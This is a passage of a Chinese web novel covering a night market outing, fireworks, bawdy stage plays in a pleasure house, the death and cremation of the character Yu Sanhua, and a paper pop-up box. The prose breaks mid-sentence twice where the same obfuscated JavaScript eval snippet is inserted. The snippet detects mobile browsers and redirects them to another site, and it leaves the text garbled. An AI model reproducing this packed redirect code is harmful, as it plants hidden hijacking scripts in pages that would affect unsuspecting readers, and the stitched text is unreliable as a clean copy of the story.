杨琥不好意思地笑道:“这是今日卖剩的最后一个,都怪我一时手痒,给这女娃娃糖人捏了一双恶魔翅膀,结果没人喜欢。” 乔天璇也赶到了卖糖人的车子旁,在看到杨琥所说的那个有一双恶魔翅膀的粉衣女娃娃糖人后,倒是觉得新鲜。 虽说是恶魔翅膀,但其实就是蝙蝠翅膀的模样。也许是杨琥对曾经帮她给绾绾送情书的那只黑毛蝙蝠记忆深刻,这才让他在捏糖人的时候会突然想到给糖人加上一双这样的翅膀。 而盗眼蝠之前之所以没有在夜晚袭击到柳叶镇这儿了,估计是因为柳叶镇的夜市灯火通明通宵达旦,盗眼蝠说到底也是蝙蝠,极其怕光。 “我喜欢,多少钱?”尤三花看着女娃娃糖人的那双恶魔翅膀,有些出神。 杨琥惊喜道:“难得有人喜欢她!那就卖五文钱吧!” “好。”尤三花从怀中掏出五文钱递到了杨琥手中,绾绾将长着恶魔翅膀的粉衣女娃娃糖人取了下来递给了尤三花。 尤三花看着手中的糖人,小心翼翼地舔了一口糖人的恶魔翅膀,双目顿时流光溢彩。 “甜吗?”绾绾温柔地笑着问尤三花。 “甜!”尤三花毫不犹豫地点了点头。 “哈哈,糖人就没有不甜的时候!”杨琥终于把今日份的糖人给卖完了,心情大好。 “那我们就先回去了,再见!三侠行客!还有三侠行客的朋友们!”绾绾对着乔天璇几人挥了挥手。 “好,路上小心!”乔天璇和花蕊一同对着绾绾和杨琥挥手告别。 除了一瞬间还没反应过来的尤三花,其余几人也对着绾绾挥了挥手。 “……他、他们俩是……夫妻?”尤三花在杨琥和绾绾转身离去之后才反应了过来,连忙小声问乔天璇杨琥和绾绾的关系。 乔天璇点头道:“对,他们俩是夫妻。” “是嘛……”尤三花直直望着杨琥和绾绾离去的背影,眼底泛起了羡慕之情,自言自语道:“真好。” 杨琥比绾绾高了半个头,他与绾绾有说有笑地一起推着卖糖人的车子回家去时总是会微微弯腰低头看着绾绾,尽量与绾绾平视。 看着他们在逐渐暗沉下来的天色中推着卖糖人的车子越走越远,直至彻底被淹没于街上的行人当中,再也望不见他们的身影,柳叶镇的夜市也终于开始了。 与白天的柳叶镇相比起来,夜晚的柳叶镇似乎更加热闹。 街上依旧有不少人在讨论着关于姜景和与叶天芯的事情,关于他们的传闻,有的已经比白天时传得还要离谱了。 “以讹传讹真是可怕。”花蕊忍不住转头看向了跟在尤三花身后的妇人。 妇人对上了花蕊的目光,无奈道:“是啊,但这也是没有办法避免的事情嘛。” 花蕊道:“说不定明天还会传得更夸张。” 妇人道:“只愿不要把我闺女传谣成浪荡的坏女人。” 乔天璇无奈道:“这恐怕会有点难啊。” “……” “算了,随便吧,我只能选择不把这些传闻放在心上了。”妇人自嘲一般叹息着。 尤三花默默地舔着手中的糖人,听着人们嘈杂的说话声,目光贪恋地看着街边还在不断出现的揽客妓女和与她们交谈着的男嫖客,完全沉浸在了其中。 很快,一行人来到了一条香气扑鼻的小食街。 乔天璇瞧见了一家卖荷叶蒸鸡的食铺,顿时眼前一亮,快步走了过去。 在选好自己想要的那只荷叶蒸鸡后,乔天璇转头分别看了一眼正在向自己赶来的洛侠和陈渊龙,伸手指向一只已经蒸好了的鸡,道:“我想要这一只。” 伙计道:“好,这只……” “我来付钱。”洛侠和陈渊龙几乎是在同一时间赶到了乔天璇的左右两旁,异口同声地说了同一句话。 43. 三花逐光(三) 伙计被突然赶来争着付钱的洛侠和陈渊龙吓了一跳,但在看到被洛侠和陈渊龙夹在中间的乔天璇时,他当即明白了这是怎么一回事,连忙道:“行啊,那要不你们两人一人付一半?” “不必。”陈渊龙将碎银从怀中掏出,递到了伙计手中,并把乔天璇指着的那一只荷叶蒸鸡拿来递给了乔天璇。 “钱多了!多了!”伙计握着手中的碎银,有些不知所措。 陈渊龙毫不犹豫道:“不用找零了。” 乔天璇虽然对这样的结果感到挺突然的,但她闻着荷叶蒸鸡馋人的香味,心想不吃白不吃,还是接下了陈渊龙递给自己的荷叶蒸鸡。 洛侠不悦地看了陈渊龙一眼,又看了乔天璇手中的荷叶蒸鸡一眼,道:“徒儿,你想边走边吃吗?” “想。”乔天璇转身便走。 洛侠立马跟上。 陈渊龙也不甘落后,赶紧跟在了乔天璇身旁的另一边。 乔天璇将裹着蒸鸡的荷叶一片一片剥开,在看到荷叶内金黄色的蒸鸡时,她深吸了一口荷叶蒸鸡浓郁的香味,随即便直接将其中的一只鸡腿撕了下来咬了一大口。 花蕊闻着香味跑到了乔天璇的面前,直直盯着乔天璇手中的荷叶蒸鸡。 乔天璇道:“想吃?” “想!”花蕊毫不客气地撕下了另一只鸡腿。 乔天璇转头看向了身后的三人,本想问问他们想不想吃荷叶蒸鸡,却见妇人的手中也有一只荷叶蒸鸡。而尤三花、祝源正在和妇人分食那只荷叶蒸鸡。 难道妇人是在刚刚自己转身离开食铺时跟伙计买的卖荷叶蒸鸡? 乔天璇忍不住问:“夫人,你也喜欢吃荷叶蒸鸡?” 妇人抬眼望向乔天璇,笑道:“喜欢,方才那个伙计对我们说碎银给得实在是太多了,就又给了我们一只荷叶蒸鸡,要不然他的心里面过不去。” “好吃!”尤三花左啃一口鸡腿,右舔一口糖人,满脸幸福的表情。 祝源嚼着一只鸡翅膀,口齿不清道:“香……香!” “原来如此。”乔天璇恍然大悟,转头看向了陈渊龙。 陈渊龙也听到了妇人说的话,他对上了乔天璇的目光,眼中似有一丝期待。 想到妇人、祝源、尤三花托陈渊龙的碎银的福,又从食铺伙计那儿得到了一只荷叶蒸鸡,乔天璇也不吝啬自己的夸奖,道:“多谢你了,雏浅凤。” 听到“雏浅凤”这个名字,陈渊龙神色一僵,走在最前面的花蕊差点没把口中的鸡肉给喷出来。 注意到了陈渊龙的表情,乔天璇心中一乐,折下一只鸡爪递给了陈渊龙,道:“雏浅凤,尝尝凤爪吧。” “……” 见陈渊龙毫无动作,乔天璇便将鸡爪递给了身旁另一边的洛侠,道:“师父,尝尝凤爪,可香了!” “好。”洛侠接过乔天璇递过来的鸡爪,浅浅咬了一口,赞同地点了点头表示的确好吃。 “我也吃。”陈渊龙的脸色顿时难看了不少。 乔天璇把手中的荷叶蒸鸡递到了陈渊龙的面前,示意他自己拿。 陈渊龙没辙,许是不愿看到乔天璇再次把鸡爪给了洛侠吃,只得自己拿了那只剩下的鸡爪。 看到陈渊龙面无表情地尝着鸡爪,乔天璇心中暗爽,总有一种自己在无意中强迫了高贵清冷的太子殿下做了他不愿做的事情的快感。 一行人边吃边往前走,蹦在最前面的花蕊吃完了手中的鸡腿就转身回到乔天璇的身前,再从荷叶里撕下一块鸡肉,然后转身继续蹦到最前面开路。 乔天璇时不时回头看一下尤三花,见尤三花的目光依旧不离街道左右两边不断出现的揽客妓女。 柳叶镇的夜市又大又热闹,一行人不知到底逛了多久,两只荷叶蒸鸡早已被吃完,尤三花手中的糖人也被她舔了个干净,只剩下一根细细的竹签。 夜色越来越深,街上的行人比最开始的时候少了一些,却丝毫不影响食物味道好的食铺前面食客排起长长的队。 乔天璇正看着一家食铺前两个排队排着排着就吵起来了的男人,忽然瞧见不远处毫无征兆地升起了一道华丽的烟火,顷刻在墨色夜空中炸开了一朵巨大的金花。 紧接着又炸开了第二朵、第三朵、第四朵、第五朵、第六朵…… 大街上几乎所有人都抬头望向了夜空中盛开的烟火,赞叹不止。 仰头看了一会儿后,花蕊兴奋道:“我们要不要走近些去看看是谁在放烟火?!” “走!”乔天璇正有此意,她也好奇这放烟火的人会是谁。 随即,一行人快步走向了放烟火的地方,一直来到了一条宽阔的河边才停了下来。 河边有许多随风摆动的柳树,它们的柳枝一条条垂在河面上,在白天或许是一道风景,但现在是夜晚,就显得有点阴森了。 好在此刻的天上接连不断绽放的烟火照亮了河,连带着映出了无数柳树的倩影,击散了那股阴森之意。 “姜大公子?!”跑在最前面的花蕊猛地停住脚步。 闻言,后方的几人都停住了脚步。 原来在河边放烟火的是姜景和与叶天芯,他们两人身旁围着许多护卫和家仆。 比乔天璇几人早赶到此处的人们看到放烟火的两人是白天在青楼前凌迟人贩子的姜景和与叶天芯后皆是目瞪口呆。 烟火炸开的声音和人们的议论声盖住了花蕊的声音,也就乔天璇几人能听得到,姜景和与叶天芯根本听不见,仍旧开心地放着烟火。 站在围观的人群中,尤三花好奇道:“放烟火的那两人是夫妻吗?” 妇人道:“不是,那女子是我闺女,她是那个男人的妾。” “你闺女?”尤三花转头看向了身旁的妇人,有些意外。 “是啊。”妇人期盼道:“真希望她能一直这样快乐。” “啪!!!” 又一朵绚烂的烟火在夜空中绽放。 尤三花再次仰头望天,眼底满是羡慕之情。 姜景和与叶天芯估计已经在白天当众凌迟人贩子时习惯了人们的围观了,他们旁若无人地继续放着烟火,互相看着对方开心地笑。 乔天璇想都不用想就知道从今晚开始,关于姜景和与叶天芯的传闻又要多一个场景了。 琅琊姜氏富得流油,姜景和许是为了哄叶天芯开心,这场烟火足足被两人玩闹似的放了一个时辰才终于消停下来。 烟火放完了,围观的人们也逐渐散去,最后只余乔天璇几人还在原地。 “嗯?你们……你们?母亲?!”叶天芯注意到了乔天璇几人,惊出了声。 姜景和顺着叶天芯的目光看到了乔天璇几人,顿时震惊道:“你们怎么也在?” “这里又不是你家,我们怎么就不能在这儿了?”花蕊理直气壮地走向了姜景和。 听到花蕊说的这话,乔天璇差点没冲上前去捂住花蕊的嘴。 此地在琅琊姜氏的地界范围内,说是他们家的后花园其实也不为过。但此时还有一个太子殿下陈渊龙在这儿,花蕊方才说的话就好像又变得有道理了。毕竟整个九宸国都是天子的,那么在未来便是现在的太子的。 “哈哈哈哈,你们当然能在这儿啊!”姜景和看到了陈渊龙,连忙满脸堆笑道:“雏兄晚好啊!” “嗯。”陈渊龙点了一下头。 姜景和拉着叶天芯走向了站在乔天璇几人最前面的花蕊,微笑道:“去逛夜市了吗?” 花蕊道:“逛了,感觉还不错,小食街里卖的食物也好吃。” 姜景和神神秘秘道:“那要不要带你们去体验一下柳叶镇通宵达旦的极乐居?” “极乐居?那是什么地方?”花蕊满眼好奇。 “就是一个从天黑一直欢乐到天明的地方,正好今日我高兴。”说到这里,姜景和的目光从花蕊的身上移到了陈渊龙的身上,小心翼翼道:“不知雏兄对此是否有兴趣?” 毫无疑问,陈渊龙立马转头看向了乔天璇。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025618|194382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 乔天璇则转头看向了尤三花,道:“三花姐姐,你想去吗?” “想!当然想啊!极乐居,一听就知道是个很快乐的地方!”尤三花期待极了。 “好,那就去吧。”乔天璇转回了头。 陈渊龙当即对姜景和道:“有劳姜大公子带路。” “没问题!”姜景和立马拉着叶天芯走到了陈渊龙的身旁,让护卫和家仆们跟在了一行人的两旁和身后,大摇大摆地走上了夜市的街道。 见状,街上众人纷纷避让。 不少人紧盯着姜景和与叶天芯,跟身旁的人小声议论个不停。 妇人赶紧跟在了叶天芯的身后。 乔天璇心知关于姜景和与叶天芯的传闻肯定又要丰富多彩不少了。 就在姜景和拉着叶天芯,带着一帮子人走进极乐居大门的那一刻起,乔天璇听到后方远处的人们猛然沸腾了起来。 极乐居所在的这条街乔天璇几人方才并没有来过。说到底还是柳叶镇的夜市实在是太大了,一个晚上根本就逛不完。 这极乐居从外面看虽然只有三层,但它的地下还有五层。 从藻井往下望去,地下的五层才是真正热闹欢乐的地方。而这会儿地上的三层全都是黑灯瞎火的,只有大门口处有迎宾的亮堂灯火。 此时,一个样貌秀丽的紫衣女子迈着小碎步来到了姜景和身旁,欢喜道:“这不是姜大公子嘛?不知姜大公子今夜是想……” “看夜戏!看夜戏!”姜景和慌忙打断了紫衣女子的话,并且对着紫衣女子打了个特别响亮的响指,眉宇间藏不住他的紧张。 乔天璇一下子就明白了姜景和从前肯定是来极乐居与美人寻欢的。可他现在身旁有叶天芯这个美人,那情况就得另当别论了。 “哦好好好!还请姜大公子随我来。”紫衣女子也注意到了姜景和身旁的叶天芯,立马心领神会。 夜戏这会儿正在地下第五层中间的戏台上演着。 一行人随着紫衣女子从一旁的楼梯一层一层往下走。 地下一层是吃饭的地方,地下二层是赌场,地下三层的走廊上到处都是浓妆艳抹的美人,无数的美人身后是一间一间挨着的房间。 从地下二层走到地下三层时,紫衣女子特意带着大家拐到了一个看不见地下三层画面的楼梯。 但地下三层中各种各样的美人娇喘声还是不可避免地传进了大家的耳中,听得众人都感到了些许尴尬。 地下三层和地下四层的中间还有一个夹层,这个夹层专门用来放置各种各样用于欢愉时的工具,而地下三层的美人也可在此暂作休息。 当然,夹层还起到了不错的隔音效果。地下四层是看夜戏的雅座,来到地下四层之后就基本上听不到从地下三层传出来的声音了。 这雅座是个单独的包间,可以坐许多人。但姜景和带的护卫和家仆人数太多了些,不少家仆只能站到包间外面守着了。 乔天璇其实有些好奇地上三层都有些什么,只不过当她放眼看到地下一层的夜戏时,内心一时间就被“这种东西居然能演?!”的感想给完全占据,彻底把自己对地上三层的好奇心给抛掷脑后。 只见戏台上一个衣衫透得可怕的花旦躺在一张春凳上,她上半身躺着的位置前放着一道高高的屏风,下半身白皙的双腿则被观众尽收眼底。 这双白腿时而紧张得脚趾蜷缩,时而放松无力地伸展,时而笔直紧绷到了极致,时而上下颠簸不止,好似波浪一般。 一个只穿了中衣和亵裤的小生俯身在花旦的上方,上下起伏着身子,由缓到急。 两人一唱一和,皆是不堪入耳的唱词。咿咿呀呀,令人浮想联翩。 最终,花旦垂手将一碗提前准备好的鸡蛋清从春凳底下拿出,朝自己双腿的方向一把泼了出去,黏糊糊地洒落在屏风外。 霎时间,四面八方的观众纷纷拍手叫好,此起彼伏地响起不少口哨声。唯独乔天璇这处的包间安安静静,没有一人发声。 44. 三花逐光(四) 待这一场戏彻底结束了,在下一场戏开始之前,紫衣女子对姜景和道:“不知姜大公子有什么想吃的小食或点心?” 姜景和转头看向了坐在她身旁的叶天芯,道:“芯儿想吃吗?” 叶天芯羞得耳根发红,犹犹豫豫道:“吃、吃吧,这里有什么特别好吃的?” 紫衣女子道:“极乐居中评价最好的小食是炸河虾,点心是酥糖。” 叶天芯道:“那就要一份炸河虾和一份酥糖吧。” “好。”姜景和望向了乔天璇几人,道:“你们想吃炸河虾和酥糖吗?” “想!”花蕊想都不想便应了。 “想。”乔天璇心觉看极乐居这样的夜戏必须得吃点东西来缓解一下尴尬才行。 陈渊龙道:“那我们几人就都来一份炸河虾和酥糖吧。” “没问题!”姜景和双目转向了紫衣女子,对她打了一个响指,道:“听到了吗?” “听到了,我这就去叫人送来。”紫衣女子连忙点头转身离开了包间。 乔天璇躺倒在了椅子上,闭上双眼,满脑子都是方才所看的夜戏。 从小到大,乔天璇看过很多戏,但像极乐居这样的夜戏她还是第一次看,既新奇又刺激,还带着一丝丝恶心,画面给乔天璇带来了极大的冲击,简直看得她头昏。 不一会儿,炸河虾和酥糖就被几个侍女送来了包间,放在了每个人的桌案上。 与此同时,楼下戏台的夜戏又开始了下一场。 乔天璇拿起筷子夹了盘中的一只炸河虾放到嘴里吃了起来,顺便望向了楼下的戏台。 此时,戏刚开场,一个衣衫透薄的花旦与一个扇子生便在互相对着调情的唱词。两人唱着唱着,忽见一个武小生迈着大步来到了戏台上。 扇子生当即与武小生对峙起来。 花旦在一旁时而唱着自己不知该如何是好的心情,时而感叹着扇子生与武小生都是她的心上人,在她心中的地位同样重要。 到了最后,扇子生与武小生居然将身上的戏服一件一件褪下,一直到只剩一条亵裤。 花旦左右为难,迈着戏步,唱词羞涩地躲到了戏台上一道窄窄的屏风后。 扇子生与武小生连忙也迈着戏步来到了屏风后去寻花旦。 紧接着,那窄得约莫只有三尺宽的屏风两边同时被人扔了一条亵裤出来。花旦则在屏风后面躺下,白皙的双臂和双腿分别露在了屏风前后两边的外面,双臂被扇子生一手一只紧握着,双腿被武小生分别绑上了一条红绳,一上一下往屏风里拉扯着。 看着花旦被扇子生紧握的双臂颤抖不止,双手时而紧握成拳,时而反手拼命抓地。双腿则被武小生用红绳时而一上一下齐齐拉扯,时而左右两腿分别一上一下拉扯,观众纷纷拍手叫好,口哨都要吹出花儿来了。 而花旦在屏风后那令人面红耳赤的唱词更是听得人心神荡漾。 再加上扇子生和武小生时不时接上一句,激得观众的调笑声接连不断,仿佛屏风后的扇子生或武小生就是他们本人。 乔天璇猛吃小食和点心,仿佛心思都在吃食上。 花蕊看得双眼呆滞,口中的食物都忘了嚼。 大家就这么安安静静地看夜戏,默默地吃着炸河虾和酥糖,听着其余观众激动的欢呼声,一直熬到了后半夜。 乔天璇实在是困得不行了,她在睡着之前似乎还听到了姜景和与叶天芯对夜戏内容的讨论声。 接下来的夜戏于乔天璇而言就仿佛是助眠。乔天璇睡得很沉,一觉睡到了早上夜戏结束时报幕人提醒众人外面已经天亮了,她才迷迷糊糊睁眼醒来。 听着楼下观众的离座声,乔天璇逐渐清醒。刚一转头,却见姜景和与叶天芯坐着的位置已经空了。 “嗯?”乔天璇猛地坐起身来。 “姜大公子和她的爱妾到地上二层‘甜甜蜜蜜’去了。”尤三花看向了睡眼惺忪的乔天璇,一下子就明白了她的疑惑。 “地上二层?‘甜甜蜜蜜’?哦……知道了。”乔天璇恍然大悟,又看向了其他人,见除了尤三花,其余人也才刚刚醒来。 “你一晚上没睡啊?”乔天璇起身走到了尤三花身旁。 尤三花道:“我白天被人贩子的迷药迷晕了,昏睡了那么久,晚上自然不困。再说了,过了子时之后我随时都会死去,要是用来睡觉,我岂不是亏大发了?” “对了!生辰快乐!”乔天璇猛然想起今日是尤三花的生辰。 “多谢云天女侠的祝福。”尤三花扬起嘴角笑了笑。 “生辰快乐!”花蕊也醒了,她见乔天璇来到了尤三花身旁,也起身朝尤三花走来。 “多谢玉心女侠的祝福。”尤三花对着花蕊也笑了笑。 “生辰快乐!”祝源赶忙起身跟着花蕊走向了尤三花。 妇人似乎也想起来了今日是尤三花的生辰,连忙看向了尤三花,道:“生辰快乐。” “生辰快乐。”洛侠和陈渊龙几乎是异口同声。 “多谢大家的祝福。”尤三花满脸欢喜,站起身伸了个懒腰,眯着一只眼道:“我们先去地下一层吃些东西吧。” “好!”花蕊连连点头,在大家的前面带路。 还留在包间里守着大家的姜家护卫和家仆随在乔天璇几人的身后,一同从地下四层往地上走去。 “咦?你说姜大公子和叶姑娘到地上二层‘甜甜蜜蜜’去了……那岂不是说地上二层是客栈?”乔天璇走在楼梯上,忽然想起自己一醒来时尤三花对自己说的话。 尤三花道:“对,你们睡着的时候他们两人看夜戏看着看着就亲起来了,然后他们跟我说他们要到地上二层去‘甜甜蜜蜜’,我就知道了这里地上二层是住人的地方。” “那地上一层和地上三层呢?”乔天璇十分好奇。 “不知道,没问。”尤三花摇了摇头。 几人来到了地下一层吃饭的地方,却不见一个人影,甚至连照明的烛灯都没点。 守在地下一层楼梯口处的极乐居侍女道:“几位是想要吃早饭吗?” 走在最前面的花蕊道:“对。” 极乐居侍女道:“早饭在地上一层吃。” “哦,好。”花蕊赶忙继续带着大家往上走楼梯。 乔天璇也清楚了地上一层是吃早饭的地方。 现在就剩地上三层还不知道是干什么的了。 来到了地上一层,大家看到从窗外照进来的晨曦微光,嗅到了一丝清晨才有的独特味道。 一行人特意坐到了靠近窗边的一张圆桌,护卫和家仆们全都侯在一旁。 乔天璇身旁一左一右坐着的是花蕊和尤三花,花蕊隔壁是祝源,祝源旁边是妇人。尤三花隔壁是洛侠,洛侠旁边是陈渊龙。 陈渊龙虽然没有坐在乔天璇隔壁,却歪打正着坐在了乔天璇对面的位置。 乔天璇没辙了,只能尽量不与一直看着自己的陈渊龙对视。 昨晚接待大家的紫衣女子看到了乔天璇几人,连忙迈着小碎步来到桌边,笑道:“昨晚姜大公子已经帮大家把所有的费用都给包了,包括今早的早饭,我马上就去叫人把早饭给大家端上来。” 花蕊忍不住道:“好呀!姜大公子可真是大方啊!” “那是自然,姜大公子可是我在柳叶镇见过最大方的公子了。”紫衣女子高兴地说完便转身往后厨去了。 尤三花感叹道:“没想到在死前还能认识到这么多厉害的人,见识到如此华丽奢靡的地方,不枉我大老远从家中偷跑出来一路赶到了柳叶镇。” 乔天璇轻抚着尤三花的背,道:“不知三花姐姐想被安葬在哪里呢?” 尤三花低头沉默了片刻,忽地抬头,认真道:“我想先被烧成灰烬,然后再被撒进昨晚姜大公子他们放烟火的地方旁边的那条河里。” “行,我们一定满足你的愿望。”乔天璇用力点了一下头。 其余人也看向了尤三花,见她脸上并无任何遗憾和伤心的表情。 早饭不一会儿就被人给端了上来。 就如乔天璇意料中的一样,早饭十分丰盛,甚至还有已经被后厨的人敲好了,不必客人亲自动手掰的新鲜河蟹,而且是每人一份。 “这是姜大公子指定好要后厨这么做的早饭吧?他还真是想得周到。”尤三花吃了一口混着蟹黄的河蟹鲜肉,一脸满足。 “毕竟他再怎么乱来,说到底也是个世家大公子。”乔天璇把混着蟹黄的蟹肉混进了玉米瘦肉粥中,用勺子搅了搅,把白色的粥染上了蟹黄的颜色,再舀起一勺混着玉米、瘦肉、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025619|194382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蟹黄、蟹肉的粥一口闷下。 花蕊则把食物猛猛往嘴里面塞,连说话的时间都没有。 地上一层还有许多昨晚在极乐居中寻欢作乐了一整宿的人。他们有的在谈论昨晚的夜戏内容,有的在谈论关于地下三层那些女子的事情,整个地上一层很是热闹。 早饭吃得差不多了时,乔天璇远远望见姜景和揽着叶天芯从地上二层走了下来,不禁笑道:“哟,‘甜甜蜜蜜’完了啊。” 闻言,大家顺着乔天璇的目光望了过去。 姜景和估计也察觉到了大家望着他的目光,他转头看了过来,见到正在吃早饭的几人,连忙对着大家挥手打招呼,并向着大家走了过来。 靠在姜景和怀中的叶天芯看到了自己的母亲,连忙矜持地站直了身子往前走着。 不难看出,昨晚姜景和与叶天芯“甜甜蜜蜜”时都没有让对方扫兴。 来到了大家所坐的圆桌前,揽着叶天芯的姜景和道:“怎么样?极乐居早饭的味道还可以吧?” 陈渊龙道:“不错。” “当然可以了!”花蕊嘴里还含着食物,口齿不清地回应着。 祝源也道:“太可以了!” 乔天璇道:“好吃!” 尤三花道:“美味!” 洛侠道:“自然是好吃的。” 妇人道:“都是珍馐美食,怎会不好吃啊?” “那就好!那就好!”姜景和满脸高兴。 “对了,姜大公子,极乐居地上第三层是干什么的?”乔天璇并没有忘记她一直想问的这件事情。 “那里供着好几个财神,全都是财神。”姜景和对着乔天璇打了一个响指。 “……” “哦……”乔天璇怎么也想不到竟会是这样,但似乎也在情理之中。 吃好了早饭之后大家便一起离开了极乐居。 走在回姜府的路上时太阳已经升得很高了。 街上的人们依旧主动给揽着叶天芯的姜景和与姜景和带着的一帮子人让出了一条道来。 乔天璇回望了一眼极乐居,道:“白天的生意极乐居也做吗?” 姜景和道:“只给在极乐居过夜了的人做早饭的白天生意,辰时过后极乐居就打烊了,一直到晚上戌时过后才开门。” “原来如此。”乔天璇了然。 尤三花抬头望着太阳,默默地走在乔天璇的身旁。 早晨的柳叶镇街道两边还没有揽客妓女出来,倒是略显空荡了。 尤三花探头看了一眼揽着叶天芯的姜景和,低头暗暗扬起了嘴角。 察觉到了身旁的尤三花很开心,乔天璇的心情却愈发沉重了。 她从尤三花的身上闻到了一股若有若无的死气。 东方旭日照在尤三花的身上,却照不暖尤三花越来越凉的身子。 明明刚出极乐居的时候尤三花还感觉自己精神得很,可越往姜府走去,她脚下的步子就走得越艰难。 乔天璇不禁慢下了脚步,扶住了尤三花。 “没事,我没事。”尤三花轻轻拒绝了乔天璇扶着她的手。 陈渊龙悄声跟姜景和与叶天芯说了尤三花的情况。 所有人不约而同地慢下了脚步。 尤三花的视线逐渐开始模糊了,但她依旧坚持着独自往前走去。 现在距离姜府已经很近了,周围的行人也变少了。 大家陪着尤三花慢慢地往前又走了一段路。 尤三花的身子渐渐不再受她自己控制,变得摇摇晃晃。 “没事,我还能自己走,不用扶我。”尤三花拒绝了花蕊想要扶她的手。 “可是……”花蕊不解地看着尤三花,眼中忍不住泛起了担忧的泪花。 大家都知道尤三花的大限就要到了。 一步。 两步。 三步。 四…… “扑通!” 尤三花第四步还没走完便忽地倒在了地上。 众人慌忙围到了尤三花的身旁蹲了下来。 “三花姐姐?”乔天璇和花蕊异口同声地唤她。 尤三花最后看了一眼乔天璇和花蕊,缓缓地闭上了双眼,有气无力地呢喃道:“光……太阳……朋友……真暖啊……” 45. 书阁惩罚(一) 按照尤三花自己想要的下葬方式,乔天璇一行人把尤三花的遗体带到河边烧成了灰烬,而后又将灰烬全数洒入了河中。 看着眼前不算平静的河水来者不拒地吞没了尤三花所有的灰烬,河边一片沉默,没有一个人说话。 许久之后,姜景和才遗憾道:“真没想到武阳尤氏还有这样的家族诅咒,那尤远生估计也就还剩一年活头了吧……” 乔天璇回想起昔日的同窗尤远生,想到他有甩自己腰间玉佩缀着的穗子的习惯性动作,想到他幼时与给太子伴读的大家一起玩耍时开心的笑颜,想到他死时或许也会像尤三花这般,不由得有些同情他了起来。 陈渊龙低下了头,似是在思索着什么。 叶天芯在知道了尤三花和武阳尤氏的情况之后,她眼中的光也变得暗淡了些许。 “走,要不先回我家休息会儿吧。”姜景和看向了陈渊龙。 陈渊龙见河边的大家都死气沉沉的,脸色十分不好看,便点头答应了姜景和。 回到姜府之后,原本晴空万里的天逐渐转阴,先是下起了毛毛细雨,下着下着就变成了瓢泼大雨,成串的雨水从屋檐上落下。 众人走在姜府的长廊中,跟着姜景和一路来到了姜府的茶室。 茶室很大,亦很雅致,除了茶室应有的茶桌、茶椅、茶具之外,还有书架、书案、文房四宝等等。 姜景和命人给大家泡了茶,示意大家可以在茶室中随意活动。 花蕊走到窗边,看着雨景中的茶室外院,忽闻身旁的祝源念道:“燕子不曾来,小院阴阴雨[1]……唔唔?” “闭嘴。”花蕊毫不留情地伸手一把捂住了祝源的嘴巴。 陈渊龙被姜景和邀至距离主位最近的座位上,目光却片刻不离乔天璇。 妇人则一直跟在被姜景和揽在怀里的叶天芯身旁。 洛侠陪着乔天璇一起步至书案旁,看到书案一角有好几个纸团。 出于好奇,乔天璇拿起纸团展了开来,发现这是一张写废了的字。 乔天璇把另外几个纸团也展了开来,发现都是被写废了的字。 也不知到底是谁练废的字,乔天璇只得将其全部重新揉成纸团放回了原处。 看到在窗边观院中雨景的花蕊和祝源,乔天璇也往窗边走了去。 见乔天璇和洛侠也来到了窗边,花蕊欣喜地将一朵粉色小花递给了乔天璇,道:“这花是刚刚被风雨带到窗台上的,好看吧?” 乔天璇接过粉色小花,觉得这花许是一种樱。 花蕊看着乔天璇手中的粉色小花,突发奇想道:“如果能把这朵花装在一个小纸盒子里,盒子一开,它就能从里面弹出来,那该多有意思?” 乔天璇神秘一笑,道:“我还真能办得到。” “真的?”花蕊半信半疑。 “当然了,我的手工活儿可不赖。”乔天璇转头望向了书案的方向。 刚刚那几团废纸正是变废为宝的好材料。 见到乔天璇往书案的方向走了去,洛侠、花蕊、祝源连忙跟上了她。 陈渊龙一直注意着乔天璇的目光又从窗边回到了书案。 乔天璇虽然对陈渊龙注意着自己的目光已经无感了,但她还是决定故意背对着陈渊龙。 这样一来便连带着洛侠、花蕊、祝源都背对着陈渊龙了。 四人背对着茶桌处的那几人围在书案前,乔天璇身旁三人齐齐盯着乔天璇将几个纸团先后展开,随即手指灵活得跟变戏法似的将几张废纸分工利用折成了一个如花蕊所说的“盒子一开,花就能从里面弹出来”的小纸盒子。 乔天璇在这小纸盒子上开了一个翻盖纸开口,内里粘着一条被乔天璇反复对折后再经挤压就有了弹簧特性的纸条。只要纸翻盖一被打开,一直被纸翻盖按压在里的弹簧纸条就会即刻弹出。 书案上正好放有浆糊,乔天璇就用了一点浆糊把粉色小花粘在了弹簧纸条的顶端。 看着手中的完美作品,乔天璇先是对着花蕊试了试,在花蕊面前一把翻开翻盖纸,让小纸盒内藏的弹簧纸条顶端的粉色小花一下子弹了出来。 花蕊顿时被差点就弹到了自己鼻尖上的粉色小花给吸引住了,双瞳忽地都往鼻子靠去,一时间成了对子眼。 洛侠和祝源都露出了对小纸盒子感到新奇的眼神。 于乔天璇而言,这种小手工她在很小的时候就会做了,根本算不得什么大不了的新奇东西。 花蕊却是第一次见到,情不自禁“哇”了一声。 “喜欢吗?”乔天璇对着花蕊晃了晃她手中能弹出花来的小纸盒子。 花蕊毫不犹豫道:“喜欢!” “送你了。”乔天璇把能弹出花来的小纸盒子放到了花蕊手中。 “谢谢云天!我好喜欢!”花蕊小心翼翼地捧着手中能弹出花来的小纸盒子,满眼欢喜。 听到书案这边动静越来越大,姜景和揽着叶天芯走了过来想瞧瞧是怎么回事。 